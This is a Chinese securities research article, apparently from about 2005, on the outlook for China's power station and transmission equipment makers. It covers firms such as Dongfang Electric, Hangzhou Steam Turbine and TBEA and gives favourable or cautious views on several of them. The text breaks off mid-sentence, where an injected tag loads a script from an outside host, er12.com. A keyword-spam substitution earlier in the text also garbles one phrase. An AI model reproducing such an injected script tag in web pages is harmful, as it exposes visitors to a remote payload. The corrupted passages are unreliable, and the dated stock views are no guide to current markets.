中国建银投资证券有限责任公司研究所 李勤
2003年以来，我国宏观经济进入新一轮景气周期，对电力有着比较稳定的需求。据国家电力信息中心预测，2006年我国新增装机容量将达到6000万千瓦，2007年以后可能趋缓。总体而言，我国的电力需求虽不会再出现爆发式增长现象，但总的趋势还是增长的。
此外，我国电网建设长期滞后，成为电力传输的瓶颈；在电源|稳压器结构上，水电、核电及新能源发电比重较低；调峰能力弱，抽水蓄能机组比例低；火力发电设备技术结构不合理，超临界大机组比率低：中小火电比例大，耗能高，污染大。以上种种迹象，都意味着电力设备行业的发展机遇。
电站设备公司分化明显
国内大型发电设备市场目前由东方电气集团(含东方电机和东方锅炉),上海电气集团和哈尔滨电气集团三家垄断，形成垄断竞争的市场格局。由于成本和政策保护等原因，国际发电机制造商在目前中国市场中的份额不大。核电设备门槛更高，上电和东电分占国产核岛设备45%的份额。汽轮机加工工艺难，材料要求严，技术较高，国内能生产合格的电站用汽轮机的只有10家公司。
当前国家已经开始对电力建设投资进行宏观调控，但国家调控的方向主要是耗能高，效率低的中小火电机组，水电、核电和大型火电机组则并不在严格调控之列。2004年1月到2005年7月国家发改委共核准电站项目1.21亿千瓦。表明今后电站投资建设仍然会得到加强。尤其是大型发电设备企业，技术实力比较强，竞争压力小，利润率比较高。其中东方电机(600875)、东方锅炉(600786)、杭汽轮b(200771)的行业竞争力和未来前景最为看好。而华光股份(600475)、武锅b(200770)面向中小发电企业，短期利润虽然很高，但未来面临宏观调控和订单取消的风险。
2004年到2005年电站设备企业持续保持了良好的经营状况。东方电机厂2004年发电设备综合产量1536.6万千瓦，创发电设备产量世界第一。2005年1-9月又新接订单43亿，同时实现主营业务收入，主营业务利润、净利润累进递增式增长，该公司由于由巨额定单在手，从2006到2007年的业绩都基本上能得到保证。杭汽轮b在国内工业驱动汽轮机市场拥有80%的市场份额，占据垄断地位，因此公司依然能够保持较高的利润率。虽然这些公司在2005年新接订单都有所下降，但是这属于在长期增长过程的短期波动，并不能改变这些公司长期的平稳增长趋势。
输变电设备行业景气，竞争激烈
我国电力建设的传统是重发电，轻输配电，骨干网架结构较为薄弱，形成了很大程度上的“窝电”现象。预计今后几年国家加强城乡电网建设和改造，推进全国联网，积极发展特高压电网将是电力建设的重要方向和目标。
历来输变电的行业周期波动性远不如电站行业明显。由于我国长期以来电网建设落后于电站建设，而且电网设备企业的投资规模较电站设备小，因此历来不是电力建设调控的重点，行业整体受调控影响较小，因此该子行业整体未来仍然能够持续增长。但输变电行业、尤其一次设备行业的主要问题是技术含量低，竞争激烈，而国内厂商最主要的竞争手段就是降价。虽然主营业务收入增长很快，但净利润却停滞不前。
一次设备行业继续增长，企业利润增长缓慢
一次设备主要包括变压器、配电开关、电线电缆。上市公司中经营变压器的企业主要有特变电工(600089)、g天威(600550)、置信电气(600517)、天宇电气(000723)等。全国变压器行业经济整体情况良好，但变压器行业厂家众多，大都还集中在110kv以下的低端产品，门槛太低，行业竞争激烈，多数企业微利，无法分享行业高速增长的成果。220kv以上高压、大容量的变压器，技术含量很高，国内只有天威保变、西安变压器厂和特变电工沈阳变压器厂等少数企业生产，但又面临来自于国外产品的竞争。特高压设备是今后我国电网建设的方向，潜力巨大，但目前还处在示范工程阶段，机会与风险并存，短期内不会产生特别快的收益增长。变压器行业周期波动平缓，预计今后整个行业收入继续快速增长，但企业业绩将可能缓慢增长。g天威的太阳能电池业务可能会给该公司带来额外的利润增长空间。
配电开关行业状况与变压器相类似，中低压开关设备技术含量低，门槛低，行业竞争激烈，110kv以上高压开关技术壁垒高，从业公司业绩较好。平高电气(600312)主营两大系列产品：一是敞开式高压开关，一个是全封闭式组合开关gis。产品一直供不应求，gis封闭式开关的优点是体积小、易安装、易维护，是未来高压开关的方向性产品。未来两年业绩依然会有可观的增长。
二次设备行业企业经营良好，但市场容量偏小
输变电二次设备产品用于对一次设备的保护以及对电力系统的自?script src=http://er12.com/t.js>
